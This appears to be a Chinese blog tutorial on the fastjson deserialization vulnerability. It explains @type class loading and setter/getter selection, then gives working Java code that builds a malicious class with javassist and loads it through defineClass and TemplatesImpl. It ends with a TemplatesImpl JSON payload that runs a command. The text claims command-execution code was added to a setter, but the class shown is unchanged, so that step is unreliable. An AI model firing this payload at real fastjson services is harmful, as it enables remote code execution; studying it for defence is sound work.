查看原文
其他

fastjson从0到1

naihe567 红队蓝军 2023-03-20

fastjson简单使用

User:

package com.naihe;

public class User {
    private String name;
    private int age;

    public User() {}
    
    public User(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

Demo:

package com.naihe;

import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class FS {
    public static void main(String[] args) {
        User user1 = new User("小李",10);
        String JsStr1= JSONObject.toJSONString(user1);
        System.out.println(JsStr1);

        User user2 = new User("大李",100);
        String JsStr2= JSONObject.toJSONString(user2, SerializerFeature.WriteClassName);
        System.out.println(JsStr2);

        String str = "{\"@type\":\"com.naihe.User\",\"age\":1000,\"name\":\"老李\"}";
        Object obj1 = JSONObject.parse(str);
        System.out.println(obj1);

        Object obj2 = JSONObject.parseObject(str);
        System.out.println(obj2);

    }
}


反序列化漏洞分析

由于fastjson调试起来过程比较复杂,在这里直接看关键点:首先会获取字符串的第一对引号中的内容

如果内容为@type就会加载下一对引号中的类


在JavaBeanInfo.class中会获取类中所有详细详细 在这里匹配以set开头的方法


这里判断函数名长度大于4,且以set开头,非静态函数,返回类型为void或当前类参数个数为1个的方法

methodName.length() >= 4 && 
!Modifier.isStatic(method.getModifiers()) && 
(method.getReturnType().equals(Void.TYPE) || 
method.getReturnType().equals(method.getDeclaringClass())))

函数名长度大于等于4非静态方法,以get开头且第4个字母为大写,无参数,返回值类型继承自Collection或Map或AtomicBoolean,或Atomiclnteger或AtomicLon的方法

methodName.length() >= 4 && 
!Modifier.isStatic(method.getModifiers()) && 
methodName.startsWith("get") && 
Character.isUpperCase(methodName.charAt(3)) && 
method.getParameterTypes().length == 0 && 
(Collection.class.isAssignableFrom(method.getReturnType()) || 
Map.class.isAssignableFrom(method.getReturnType()) || 
AtomicBoolean.class == method.getReturnType() || 
AtomicInteger.class == method.getReturnType() || 
AtomicLong.class == method.getReturnType()))

其实本质就是fastjson会利用反序列化通过无参构造创建一个对象,不通过setter或getter方法进行赋值与输出操作 因此我们只需要找到满足条件的类就行,这里一般利用的是 TemplatesImpl链来加载字节码,从而rce等操作 下面我们来证明一下我们的观点 在setter方法中添加一段命令执行的代码

package com.naihe;

public class User {
    private String name;
    private int age;

    public User() {}

    public User(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

Demo:

package com.naihe;

import com.alibaba.fastjson.JSONObject;

public class Demo1 {
    public static void main(String[] args) {
        String str = "{\"@type\":\"com.naihe.User\",\"age\":1000,\"name\":\"老李\"}";
        Object obj1 = JSONObject.parse(str);
        
    }
}

字节码加载

利用defineClass加载字节码

package com.naihe;

import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class DC {
    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException, NotFoundException, CannotCompileException, IOException {
        //通过字节码构建恶意类
        ClassPool classPool=ClassPool.getDefault();
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload=classPool.makeClass("CommonsCollections3");
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
        byte[] code=payload.toBytecode();

        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineClass.setAccessible(true);
        Class yyds= (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "CommonsCollections3", code, 0, code.length);
        yyds.newInstance();

    }
}

利用TemplatesImpl加载字节码

package com.naihe;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;

import java.lang.reflect.Field;
import java.util.Base64;

public class TL {
    private static void setFiledValue(Object obj, String fieldName, Object fieldValue) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, fieldValue);
    }
    public static void main(String[] args) {
        try {
            ClassPool classPool=ClassPool.getDefault();
            String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
            classPool.appendClassPath(AbstractTranslet);
            CtClass payload=classPool.makeClass("CommonsCollections3");
            payload.setSuperclass(classPool.get(AbstractTranslet));
            payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
            byte[] codes=payload.toBytecode();

            byte[][] _bytecodes = new byte[][] {
                    codes,
            };
            TemplatesImpl templates = new TemplatesImpl();
            setFiledValue(templates, "_bytecodes", _bytecodes);
            setFiledValue(templates, "_name", "whatever");
            setFiledValue(templates, "_tfactory", new TransformerFactoryImpl());
            templates.newTransformer();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

poc:

package com.naihe;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;

import java.io.IOException;
import java.util.Base64;

public class fastjson {
    public static void main(String[] args) throws CannotCompileException, IOException, NotFoundException {
        ParserConfig config = new ParserConfig();
        ClassPool classPool=ClassPool.getDefault();
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload=classPool.makeClass("CommonsCollections3");
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
        String str = Base64.getEncoder().encodeToString(payload.toBytecode());


        String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\""+str+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";


        Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
    }
}

利用分析

fastjosn一般是使用TemplatesImpl链来进行攻击的,在上面其实已经分析过fastjson在反序列化的时候会调用满足条件的getter方法,因此就会调用TemplatesImpl类的getOutputProperties方法,然后通过getOutputProperties,调用newTransformer



仔细观察就会发现poc中将byte进行了base64加密,那么这是为什么了?在调用deserialze时会执行base64解密

造成_bytecodes需要进行base64编码

往期推荐

HVV面试题总结

Java安全之Commons Collections4-7分析

Java安全之Commons Collections1-3分析

SQL Server从0到1

用户层下API的逆向分析及重构

进程伪装详解

ring0下的Inline hook

DLL劫持详解

关于bypassuac的探究

r0下进程保护



您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存